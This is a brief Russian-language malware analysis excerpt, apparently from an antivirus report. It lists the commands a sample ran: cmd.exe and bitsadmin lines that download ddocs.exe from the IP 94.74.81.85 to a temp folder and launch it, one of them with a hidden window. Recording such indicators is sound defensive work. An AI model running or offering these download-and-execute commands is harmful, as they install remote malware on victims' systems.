Техническая информация
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download http://94.74.81.85/ddocs.exe %tmp%/ddocs.exe && start %tmp%/ddocs.exe
- '94.#4.81.85':80
- '<SYSTEM32>\cmd.exe' /c bitsadmin /transfer /download http://94.74.81.85/ddocs.exe %tmp%/ddocs.exe && start %tmp%/ddocs.exe' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer /download http://94.74.81.85/ddocs.exe %LOCALAPPDATA%\Temp/ddocs.exe